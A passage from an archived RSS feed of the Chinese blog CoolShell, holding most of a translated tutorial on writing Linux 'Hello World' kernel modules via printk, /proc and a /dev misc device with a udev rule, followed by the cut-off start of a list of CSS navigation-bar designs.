class=\"EnlighterJSRAW\">\n#include\n\t&lt;linux/init.h&gt;\n#include\n\t&lt;linux/module.h&gt;\n</pre>\n<p>这里包含了内核提供的所有内核模块都需要的头文件。这个文件中包含了类似module_init()宏的定义，这个宏稍后我们将用到</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\nstatic int __init\nhello_init(void){\n    printk(&quot;Hello, world!n&quot;);\n    return 0;\n}\n</pre>\n<p>这是内核模块的初始化函数，这个函数在内核模块初始化被装载的时候调用。__init关键字告诉内核这个代码只会被运行一次，而且是在内核装载的时候。printk()函数这一行将打印一个&#8221;Hello, world&#8221;到内核消息缓存。printk参数的形式在大多数情况和printf(3)一模一样。</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\nmodule_init(hello_init); \nmodule_init()\n</pre>\n<p>宏告诉内核当内核模块第一次运行时哪一个函数将被运行。任何在内核模块中其他部分都会受到内核模块初始化函数的影响。</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\nstatic void __exit\nhello_exit(void){\n    printk(&quot;Goodbye, world!n&quot;);\n}\nmodule_exit(hello_exit);\n</pre>\n<p>同样地，退出函数也只在内核模块被卸载的时候会运行一次，module_exit()宏标示了退出函数。__exit关键字告诉内核这段代码只在内核模块被卸载的时候运行一次。</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\nMODULE_LICENSE(&quot;GPL&quot;);\nMODULE_AUTHOR(&quot;Valerie Henson val@nmt.edu&quot;);\nMODULE_DESCRIPTION(&quot;Hello, world!&quot; minimal module&quot;);\nMODULE_VERSION(&quot;printk&quot;);\nMODULE_LICENSE()\n</pre>\n<p>宏告诉内核，内核模块代码在什么样的license之下，这将影响主那些符号(函数和变量，等等)可以访问主内核。GPLv2 下的模块(如同本例子中)能访问所有的符号。某些内核模块license将会损害内核开源的特性，这些license指示内核将装载一些非公开或不受信的代码。如果内核模块不使用MODULE_LICENSE()宏，就被假定为非GPLv2的，这会损害内核的开源特性，并且大部分Linux内核开发人员都会忽略来自受损内核的bug报告，因为他们无法访问所有的源代码，这使得调试变得更加困难。剩下的MODULE_*()这些宏以标准格式提供有用的标示该内核模块的信息(译者注：这里意思是，你必须使用GPLv2的license，否则你的驱动程序很有可能得不到Linux社区的开发者的支持 ：）)</p>\n<p>现在，开始编译和运行代码。转到相应的目录下，编译内核模块</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">\n$ cd hello_printk  \n$ make\n</pre>\n<p>接着，装载内核模块，使用insmod指令，并且通过dmesg来检查打印出的信息，dmesg是打印内核消息缓存的程序。</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">\n$ sudo insmod ./hello_printk.ko  \n$ dmesg | tail\n</pre>\n<p>你将从dmesg的屏幕输出中看见&#8221;Hello world!&#8221;信息。现在卸载使用rmmod卸载内核模块，并检查退出信息。</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">\n$ sudo rmmod hello_printk  \n$ dmesg | tail\n</pre>\n<p>到此，你就成功地完成了对内核模块的编译和安装！</p>\n<h4>使用/proc的Hello, World!</h4>\n<p>一种用户程序和内核通讯最简单和流行的方式是通过使用/proc下文件系统进行通讯。/proc是一个伪文件系统，从这里的文件读取的数据是由内核返回的数据，并且写入到这里面的数据将会被内核读取和处理。在使用/proc方式之前，所用用户和内核之间的通讯都不得不使用系统调用来完成。使用系统调用意味着你将在要在查找已经具有你需要的行为方式的系统调用(一般不会出现这种情况)，或者创建一种新的系统调用来满足你的需求(这样就要求对内核全局做修改，并增加系统调用的数量，这是通常是非常不好的做法)，或者使用ioctl这个万能系统调用，这就要求要创建一个新文件类型供ioctl操作(这也是非常复杂而且bug比较多的方式，同样是非常繁琐的)。/proc提供了一个简单的，无需定义的方式在用户空间和内核之间传递数据，这种方式不仅可以满足内核使用，同样也提供足够的自由度给内核模块做他们需要做的事情。</p>\n<p>为了满足我们的要求，我们需要当我们读在/proc下的某一个文件时将会返回一个“Hello world!”。我们将使用/proc/hello_world这个文件。下载并解开<a href=\"http://www.linuxdevcenter.com/linux/2007/07/05/examples/hello_proc.tar.gz\">hello proc</a>这个gzip的tar包后，我们将首先来看一下<a href=\"http://www.linuxdevcenter.com/linux/2007/07/05/examples/hello_proc.c\">hello_proc.c</a>这个文件</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\n#include &lt;linux/init.h&gt;\n#include &lt;linux/module.h&gt;\n#include &lt;linux/proc_fs.h&gt;\n</pre>\n<p>这次，我们将增加一个proc_fs头文件，这个头文件包括驱动注册到/proc文件系统的支持。当另外一个进程调用read()时，下一个函数将会被调用。这个函数的实现比一个完整的普通内核驱动的read系统调用实现要简单的多，因为我们仅做了让&#8221;Hello world&#8221;这个字符串缓存被一次读完。</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\nstatic int\nhello_read_proc(char *buffer, char **start,off_t offset,\n                int size, int *eof, void *data)\n{\n</pre>\n<p>这个函数的参数值得明确的解释一下。buffer是指向内核缓存的指针，我们将把read输出的内容写到这个buffer中。start参数多用更复杂的/proc文件；我们在这里将忽略这个参数；并且我只明确的允许offset这个的值为0。size是指buffer中包含多字节数；我们必须检查这个参数已避免出现内存越界的情况，eof参数一个EOF的简写，用于返回文件是否已经读到结束，而不需要通过调用read返回0来判断文件是否结束。这里我们不讨论依靠更复杂的/proc文件传输数据的方法。这个函数方法体罗列如下：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\n    char *hello_str = &quot;Hello, world!\\n&quot;;\n    int len = strlen(hello_str); /* Don&#039;t include the null byte. */\n    /*     * We only support reading the whole string at once.     */\n    if (size &lt; len)\n        return&lt; -EINVAL;\n    /*     * If file position is non-zero, then assume the string has\n    * been read and indicate there is no more data to be read.\n    */\n    if (offset != 0)\n        return 0;\n    /*     * We know the buffer is big enough to hold the string.     */\n    strcpy(buffer, hello_str);\n    /*     * Signal EOF.     */\n    *eof = 1;\n    return len;\n}\n</pre>\n<p>下面，我们需将内核模块在初始化函数注册在/proc 子系统中。</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\nstatic int __init\nhello_init(void){\n    /*\n    * Create an entry in /proc named &quot;hello_world&quot; that calls\n    * hello_read_proc() when the file is read.\n    */\n    if (create_proc_read_entry(&quot;hello_world&quot;, 0, \n                        NULL, hello_read_proc, NULL) == 0) {\n        printk(KERN_ERR\n        &quot;Unable to register &quot;Hello, world!&quot; proc filen&quot;);\n        return -ENOMEM;\n    }\n    return 0;\n}\nmodule_init(hello_init);\n</pre>\n<p>当内核模块卸载时，需要在/proc移出注册的信息(如果我们不这样做的，当一个进程试图去访问/proc/hello_world，/proc文件系统将会试着执行一个已经不存在的功能，这样将会导致内核崩溃)</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\nstatic void __exit\nhello_exit(void){\n    remove_proc_entry(&quot;hello_world&quot;, NULL);\n}\nmodule_exit(hello_exit);\nMODULE_LICENSE(&quot;GPL&quot;);\nMODULE_AUTHOR(&quot;Valerie Henson val@nmt.edu&quot;);\nMODULE_DESCRIPTION(&quot;&quot;Hello, world!&quot; minimal module&quot;);\nMODULE_VERSION(&quot;proc&quot;);\n</pre>\n<p>下面我们将准备编译和装载模组</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">\n$ cd hello_proc  \n$ make  \n$ sudo insmod ./hello_proc.ko\n</pre>\n<p>现在，将会有一个称为/proc/hello_world的文件，并且读这个文件的，将会返回一个&#8221;Hello world&#8221;字符串。</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">\n$ cat /proc/hello_world\nHello, world!\n</pre>\n<p>你可以为为同一个驱动程序创建多个/proc文件，并增加相应写/proc文件的函数，创建包含多个/proc文件的目录，或者更多的其他操作。如果要写比这个更复杂的驱动程序，可以使用seq_file函数集来编写是更安全和容易的。关于这些更多的信息可以看<a href=\"http://lwn.net/Articles/22355/\">《Driver porting: The seq_file interface》</a></p>\n<h4>Hello, World! 使用 /dev/hello_world</h4>\n<p>现在我们将使用在/dev目录下的一个设备文件/dev/hello_world实现&#8221;Hello,world!&#8221; 。追述以前的日子，设备文件是通过MAKEDEV脚本调用mknod命令在/dev目录下产生的一个特定的文件，这个文件和设备是否运行在改机器上无关。到后来设备文件使用了devfs，devfs在设备第一被访问的时候创建/dev文件，这样将会导致很多有趣的加锁问题和多次打开设备文件的检查设备是否存在的重试问题。当前的/dev版本支持被称为udev，因为他将在用户程序空间创建到/dev的符号连接。当内核模块注册设备时，他们将出现在sysfs文件系统中，并mount在/sys下。一个用户空间的程序，udev,注意到/sys下的改变将会根据在/etc/udev/下的一些规则在/dev下创建相关的文件项。</p>\n<p>下载<a href=\"http://www.linuxdevcenter.com/linux/2007/07/05/examples/hello_dev.tar.gz\">hello world</a>内核模块的gzip的tar包，我们将开始先看一下hello_dev.c这个源文件。</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\n#include &lt;linux/fs.h&gt;\n#include &lt;linux/init.h&gt;\n#include &lt;linux/miscdevice.h&gt;\n#include &lt;linux/module.h&gt;\n#include &lt;asm/uaccess.h&gt;\n</pre>\n<p>正如我们看到的必须的头文件外，创建一个新设备还需要更多的内核头文件支持。fs.sh包含所有文件操作的结构，这些结构将由设备驱动程序来填值，并关联到我们相关的/dev文件。miscdevice.h头文件包含了对通用miscellaneous设备文件注册的支持。 asm/uaccess.h包含了测试我们是否违背访问权限读写用户内存空间的函数。hello_read将在其他进程在/dev/hello调用read()函数被调用的是一个函数。他将输出&#8221;Hello world!&#8221;到由read()传入的缓存。</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\nstatic ssize_t hello_read(struct file * file, char * buf, size_t count, loff_t *ppos)\n{\n    char *hello_str = &quot;Hello, world!n&quot;;\n    int len = strlen(hello_str); /* Don&#039;t include the null byte. */\n    /*     * We only support reading the whole string at once.     */\n    if (count &lt; len)\n        return -EINVAL;\n    /*\n    * If file position is non-zero, then assume the string has\n    * been read and indicate there is no more data to be read.\n    */\n    if (*ppos != 0)\n        return 0;\n    /*\n    * Besides copying the string to the user provided buffer,\n    * this function also checks that the user has permission to\n    * write to the buffer, that it is mapped, etc.\n    */\n    if (copy_to_user(buf, hello_str, len))\n        return -EINVAL;\n    /*\n    * Tell the user how much data we wrote.\n    */\n    *ppos = len;\n    return len;\n}\n</pre>\n<p>下一步，我们创建一个文件操作结构file operations struct，并用这个结构来定义当文件被访问时执行什么动作。在我们的例子中我们唯一关注的文件操作就是read。</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\nstatic const struct file_operations hello_fops = {\n    .owner        = THIS_MODULE,\n    .read        = hello_read,\n};\n</pre>\n<p>现在，我们将创建一个结构，这个结构包含有用于在内核注册一个通用miscellaneous驱动程序的信息。</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\nstatic struct miscdevice hello_dev = {\n    /*\n    * We don&#039;t care what minor number we end up with, so tell the\n    * kernel to just pick one.\n    */\n    MISC_DYNAMIC_MINOR,\n    /*     \n    * Name ourselves /dev/hello.     \n    */\n    &quot;hello&quot;,\n    /*     \n    * What functions to call when a program performs file\n    * operations on the device.\n    */\n    &amp;hello_fops\n};\n</pre>\n<p>在通常情况下，我们在init中注册设备</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\nstatic int __init\nhello_init(void){\n    int ret;\n    /*\n    * Create the &quot;hello&quot; device in the /sys/class/misc directory.\n    * Udev will automatically create the /dev/hello device using\n    * the default rules.\n    */\n    ret = misc_register(&amp;hello_dev);\n    if (ret)\n        printk(KERN_ERR\n            &quot;Unable to register &quot;Hello, world!&quot; misc devicen&quot;);\n    return ret;\n}\nmodule_init(hello_init);\n</pre>\n<p>接下是在卸载时的退出函数</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\nstatic void __exit\nhello_exit(void){\n    misc_deregister(&amp;hello_dev);\n}\nmodule_exit(hello_exit);\nMODULE_LICENSE(&quot;GPL&quot;);\nMODULE_AUTHOR(&quot;Valerie Henson val@nmt.edu&gt;&quot;);\nMODULE_DESCRIPTION(&quot;&quot;Hello, world!&quot; minimal module&quot;);\nMODULE_VERSION(&quot;dev&quot;);\n</pre>\n<p>编译并加载模块:</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">\n$ cd hello_dev  \n$ make  \n$ sudo insmod ./hello_dev.ko\n</pre>\n<p>现在我们将有一个称为/dev/hello的设备文件，并且这个设备文件被root访问时将会产生一个&#8221;Hello, world!&#8221;</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">\n$ sudo cat /dev/hello\n Hello, world!\n </pre>\n<p>但是我们不能使用普通用户访问他:</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">\n$ cat /dev/hello \ncat:/dev/hello: Permission denied  \n\n$ ls -l \n/dev/hello crw-rw---- 1 root root 10, 61 2007-06-20 14:31 /dev/hello\n\n</pre>\n<p>这是有默认的udev规则导致的，这个条规将标明当一个普通设备出现时，他的名字将会是/dev/，并且默认的访问权限是0660(用户和组读写访问，其他用户无法访问)。我们在真实情况中可能会希望创建一个被普通用户访问的设备驱动程序，并且给这个设备起一个相应的连接名。为达到这个目的，我们将编写一条udev规则。</p>\n<p>udev规则必须做两件事情：第一创建一个符号连接，第二修改设备的访问权限。</p>\n<p>下面这条规则可以达到这个目的：</p>\n<p><code data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">KERNEL==&quot;hello&quot;, SYMLINK+=&quot;hello_world&quot;, MODE=&quot;0444&quot;</code></p>\n<p>我们将详细的分解这条规则，并解释每一个部分。KERNEL==&#8221;hello&#8221; 标示下面的的规则将作用于/sys中设备名字&#8221;hello&#8221;的设备(==是比较符)。hello 设备是我们通过调用misc_register()并传递了一个包含设备名为&#8221;hello&#8221;的文件操作结构file_operations为参数而达到的。你可以自己通过如下的命令在/sys下查看</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">\n$ ls -d /sys/class/misc/hello//sys/class/misc/hello/\n</pre>\n<p>SYMLINK+=&#8221;hello_world&#8221; 的意思是在符号链接列表中增加 (+= 符号的意思着追加)一个hello_world ，这个符号连接在设备出现时创建。在我们场景下，我们知道我们的列表的中的只有这个符号连接，但是其他设备驱动程序可能会存在多个不同的符号连接，因此使用将设备追加入到符号列表中，而不是覆盖列表将会是更好的实践中的做法。</p>\n<p>MODE=&#8221;0444&#8243;的意思是原始的设备的访问权限是0444,这个权限允许用户，组，和其他用户可以访问。</p>\n<p>通常，使用正确的操作符号(==, +=, or =)是非常重要的，否则将会出现不可预知的情况。</p>\n<p>现在我们理解这个规则是怎么工作的，让我们将其安装在/etc/udev目录下。udev规则文件以和System V初始脚本目录命名的同种方式的目录下，/etc/udeve/rules.d这个目录，并以字母/数字的顺序。和System V的初始化脚本一样，/etc/udev/rules.d下的目录通常符号连接到真正的文件，通过使用符号连接名，将使得规则文件已正确的次序得到执行。<br />\n使用如下的命令，拷贝hello.rules文件从/hello_dev目录到/etc/udev目录下，并创建一一个最先被执行的规则文件链接在/etc/udev/rules.d目录下。</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">\n$ sudo cp hello.rules /etc/udev/  \n$ sudo ln -s ../hello.rules /etc/udev/rules.d/010_hello.rules\n</pre>\n<p>现在我们重新装载驱动程序，并观察新的驱动程序项</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">\n$ sudo rmmod hello_dev  \n$ sudo insmod ./hello_dev.ko  \n$ ls -l /dev/hello*  \ncr--r--r-- 1 root root 10, 61 2007-06-19 21:21 /dev/hello  \nlrwxrwxrwx 1 root root      5 2007-06-19 21:21 /dev/hello_world -&gt; hello\n</pre>\n<p>最后，检查你可以使用普通用户访问/dev/hello_world设备.</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">\n$ cat /dev/hello_world\nHello, world!  \n\n$ cat /dev/hello\nHello, world!\n</pre>\n<p>更多编写udev规则的信息可以在Daniel Drake的文章<a href=\"http://www.reactivated.net/writing_udev_rules.html\">Writing udev rules</a>中找到。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22320.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/12/eBPF-150x150.jpeg\" alt=\"eBPF 介绍\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22320.html\" class=\"wp_rp_title\">eBPF 介绍</a></li><li ><a href=\"https://coolshell.cn/articles/19219.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/03/linux.ninja_-150x150.png\" alt=\"打造高效的工作环境 &#8211; Shell 篇\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19219.html\" class=\"wp_rp_title\">打造高效的工作环境 &#8211; Shell 篇</a></li><li ><a href=\"https://coolshell.cn/articles/18654.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/12/docker-networking-1-150x150.png\" alt=\"记一次Kubernetes/Docker网络排障\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18654.html\" class=\"wp_rp_title\">记一次Kubernetes/Docker网络排障</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" alt=\"Linux PID 1 和 Systemd\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_title\">Linux PID 1 和 Systemd</a></li><li ><a href=\"https://coolshell.cn/articles/17416.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2016/07/cache-150x150.png\" alt=\"缓存更新的套路\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17416.html\" class=\"wp_rp_title\">缓存更新的套路</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/566.html\">Linux设备驱动Hello World程序介绍</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/566.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>9</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t</channel>\n</rss>\n"
  },
  {
    "path": "blogs/rss/feed-45.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><rss version=\"2.0\"\n\txmlns:content=\"http://purl.org/rss/1.0/modules/content/\"\n\txmlns:wfw=\"http://wellformedweb.org/CommentAPI/\"\n\txmlns:dc=\"http://purl.org/dc/elements/1.1/\"\n\txmlns:atom=\"http://www.w3.org/2005/Atom\"\n\txmlns:sy=\"http://purl.org/rss/1.0/modules/syndication/\"\n\txmlns:slash=\"http://purl.org/rss/1.0/modules/slash/\"\n\t>\n\n<channel>\n\t<title>第 45 页 &#8211; 酷 壳 &#8211; CoolShell</title>\n\t<atom:link href=\"https://coolshell.cn/feed?paged=45\" rel=\"self\" type=\"application/rss+xml\" />\n\t<link>https://coolshell.cn</link>\n\t<description>享受编程和技术所带来的快乐 - Coding Your Ambition</description>\n\t<lastBuildDate>Sun, 05 Jul 2009 14:14:31 +0000</lastBuildDate>\n\t<language>zh-CN</language>\n\t<sy:updatePeriod>\n\thourly\t</sy:updatePeriod>\n\t<sy:updateFrequency>\n\t1\t</sy:updateFrequency>\n\t<generator>https://wordpress.org/?v=6.2</generator>\n\t<item>\n\t\t<title>30种时尚的CSS网站导航条</title>\n\t\t<link>https://coolshell.cn/articles/562.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/562.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 17 Apr 2009 15:54:46 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[CSS]]></category>\n\t\t<category><![CDATA[HTML]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=562</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>我想，大家在上网的时候一定见过很多很多种各式各样的网站导航条的设计。这些导航条基本上来说都是用CSS来做的。这里，我们将向你介绍几种最不错的用CSS设计的网站导...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/562.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/562.html\">30种时尚的CSS网站导航条</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>我想，大家在上网的时候一定见过很多很多种各式各样的网站导航条的设计。这些导航条基本上来说都是用CSS来做的。这里，我们将向你介绍几种最不错的用CSS设计的网站导航条。希望你会喜欢。</p>\n<h4>1. <a href=\"http://www.cssplay.co.uk/menu/menu_map.html\"><span style=\"color: #006699;\">The Menu menu</span></a></h4>\n<p><a href=\"https://coolshell.cn/wp-admin/The%20Menu%20menu\"><span style=\"color: #006699;\"><img decoding=\"async\" loading=\"lazy\" src=\"http://images.sixrevisions.com/2009/04/13-09_menu_menu.jpg\" alt=\"The Menu menu\" width=\"500\" height=\"306\" /></span></a></p>\n<p> 这是一个非常不错的CSS菜单，相当的独特，每个图标都有鼠标感应，然后出现子菜单。如果你想知道怎么做的，你可以简单的看一下这个网页的源码。</p>\n<p><span id=\"more-562\"></span></p>\n<h4>2. <a href=\"http://www.shingokko.com/blog_post.aspx?t=pure-css-hover-menu\"><span style=\"color: #006699;\">Pure CSS hover menu</span></a></h4>\n<p><a href=\"http://www.shingokko.com/resources/hover_menu_sample_working.htm\"><span style=\"color: #006699;\"><img decoding=\"async\" loading=\"lazy\" src=\"http://images.sixrevisions.com/2009/04/13-28_css_hover_menu.jpg\" alt=\"Pure CSS hover menu\" width=\"500\" height=\"234\" /></span></a></p>\n<p><span class=\"figure-caption\"><a href=\"http://www.shingokko.com/resources/hover_menu_sample_working.htm\" target=\"_blank\"><span style=\"color: #006699;\">查看演示</span></a></span></p>\n<p>一个纵向显示的鼠标感应的菜单和其子菜单。</p>\n<h4>3. <a href=\"http://13styles.com/css-menus/matte/\" target=\"_blank\"><span style=\"color: #006699;\">Matte CSS Menu</span></a></h4>\n<p><a href=\"http://13styles.com/code/matte/\"><span style=\"color: #006699;\"><img decoding=\"async\" loading=\"lazy\" src=\"http://images.sixrevisions.com/2009/04/13-01_styles.png\" alt=\"Matte CSS\" width=\"500\" height=\"168\" /></span></a></p>\n<p><span class=\"figure-caption\"><a href=\"http://13styles.com/code/matte/\" target=\"_blank\"><span style=\"color: #006699;\">查看演示</span></a></span></p>\n<p>Matte 是一个简单的CSS 菜单，使用两个图片，可以有13种风格。这个CSS菜单由 <a href=\"http://www.davidappleyard.org/\" target=\"_blank\"><span style=\"color: #006699;\">David Appleyard</span></a> 开发和维护，他开发了很多很多简单而有强大的CSS菜单。</p>\n<h4>4. <a href=\"http://www.3point7designs.com/blog/2007/12/22/advanced-css-menu-trick/\" target=\"_blank\"><span style=\"color: #006699;\">CSS Blur Menu</span></a></h4>\n<p><a href=\"http://www.3point7designs.com/web-design2.html\"><span style=\"color: #006699;\"><img decoding=\"async\" loading=\"lazy\" src=\"http://images.sixrevisions.com/2009/04/13-08_blur_menu.png\" alt=\"CSS Blur Menu\" width=\"500\" height=\"236\" /></span></a></p>\n<p><span class=\"figure-caption\"><a href=\"http://www.3point7designs.com/web-design2.html\" target=\"_blank\"><span style=\"color: #006699;\">查看演示</span></a></span></p>\n<p>一个模糊的导航条，只有当鼠标经过的时候才会变得清楚。</p>\n<h4>5. <a href=\"http://hv-designs.co.uk/2009/01/09/coding-the-creative-design-layout/\" target=\"_blank\"><span style=\"color: #006699;\">CSS Navigation with Glowing Icons</span></a></h4>\n<p><a href=\"http://www.hv-designs.co.uk/tutorials/css_navigation2/navigation.html\"><span style=\"color: #006699;\"><img decoding=\"async\" loading=\"lazy\" src=\"http://images.sixrevisions.com/2009/04/13-27_css_navigation_icon.jpg\" alt=\"CSS Navigation with Glowing Icons\" width=\"500\" height=\"141\" /></span></a></p>\n<p><span class=\"figure-caption\"><a href=\"http://www.hv-designs.co.uk/tutorials/css_navigation2/navigation.html\" target=\"_blank\"><span style=\"color: #006699;\">查看演示</span></a></span></p>\n<p>有一个非常不错的简单的教程会教你创建这个漂亮的CSS导航条。</p>\n<h4>6. <a href=\"http://kailoon.com/css-sliding-door-using-only-1-image/\" target=\"_blank\"><span style=\"color: #006699;\">CSS Sliding Door using only 1 image</span></a></h4>\n<p><a href=\"http://kailoon.com/example/sliding-door/css-sliding-door-blue.html\"><span style=\"color: #006699;\"><img decoding=\"async\" loading=\"lazy\" src=\"http://images.sixrevisions.com/2009/04/13-17_css_sliding_door.jpg\" alt=\"CSS Sliding Door using only 1 image\" width=\"500\" height=\"110\" /></span></a></p>\n<p><span class=\"figure-caption\"><a href=\"http://kailoon.com/example/sliding-door/css-sliding-door-blue.html\" target=\"_blank\"><span style=\"color: #006699;\">查看演示</span></a></span></p>\n<p>这是一个朴素的CSS导航条，其基于 <a href=\"http://www.alistapart.com/articles/slidingdoors/\"><span style=\"color: #006699;\">Sliding Doors</span></a> 技术，只需要一个图片。</p>\n<h4>7. <a href=\"http://superfluousbanter.org/archives/2004/05/navigation-matrix-reloaded/\" target=\"_blank\"><span style=\"color: #006699;\">Navigation Matrix Reloaded</span></a></h4>\n<p><a href=\"http://www.nundroo.com/nav_matrix/welcome2.html\"><span style=\"color: #006699;\"><img decoding=\"async\" loading=\"lazy\" src=\"http://images.sixrevisions.com/2009/04/13-18_css_matrix_reloaded.png\" alt=\"Navigation Matrix Reloaded\" width=\"500\" height=\"105\" /></span></a></p>\n<p><span class=\"figure-caption\"><a href=\"http://www.nundroo.com/nav_matrix/welcome2.html\" target=\"_blank\"><span style=\"color: #006699;\">查看演示</span></a></span></p>\n<p>又一个相当时髦的导航条。</p>\n<p> </p>\n<h4>8. <a href=\"http://e-lusion.com/design/menu/\" target=\"_blank\"><span style=\"color: #006699;\">CSS Horizontal Menu</span></a></h4>\n<p><a href=\"http://e-lusion.com/design/menu/\"><span style=\"color: #006699;\"><img decoding=\"async\" loading=\"lazy\" src=\"http://images.sixrevisions.com/2009/04/13-11_horizontal_menu.png\" alt=\"CSS Horizontal Menu\" width=\"500\" height=\"148\" /></span></a></p>\n<p><span class=\"figure-caption\"><a href=\"http://e-lusion.com/design/menu/\" target=\"_blank\"><span style=\"color: #006699;\">查看演示</span></a></span></p>\n<p><a href=\"http://e-lusion.com/\"><span style=\"color: #006699;\">Ian Main</span></a> 提供了一组很不错的相当时髦的CSS导航条。</p>\n<h4>9. <a href=\"http://www.styledmenus.com/2009/01/woody-css-menu.html\" target=\"_blank\"><span style=\"color: #006699;\">Woody CSS Menu</span></a></h4>\n<p><a href=\"http://www.styledmenus.com/2009/01/woody-css-menu.html\"><span style=\"color: #006699;\"><img decoding=\"async\" loading=\"lazy\" src=\"http://images.sixrevisions.com/2009/04/13-02_woody_css_menu.jpg\" alt=\"Woody CSS Menu.\" width=\"500\" height=\"68\" /></span></a></p>\n<p>Woody 是一个跨浏览器的CSS导航条，其在IE6, IE 7, Firefox, Opera, Safari, Chrome上测试通过。</p>\n<h4>10. <a href=\"http://www.webdesignerwall.com/tutorials/advanced-css-menu/\" target=\"_blank\"><span style=\"color: #006699;\">Advanced CSS Menu</span></a></h4>\n<p><a href=\"http://www.webdesignerwall.com/tutorials/advanced-css-menu/\"><span style=\"color: #006699;\"><img decoding=\"async\" loading=\"lazy\" src=\"http://images.sixrevisions.com/2009/04/13-03_advanced_css_menu.png\" alt=\"Advanced CSS Menu\" width=\"500\" height=\"107\" /></span></a></p>\n<p>Advanced CSS Menu 由<a href=\"http://www.ndesign-studio.com/\" target=\"_blank\"><span style=\"color: #006699;\">Nick La</span></a> 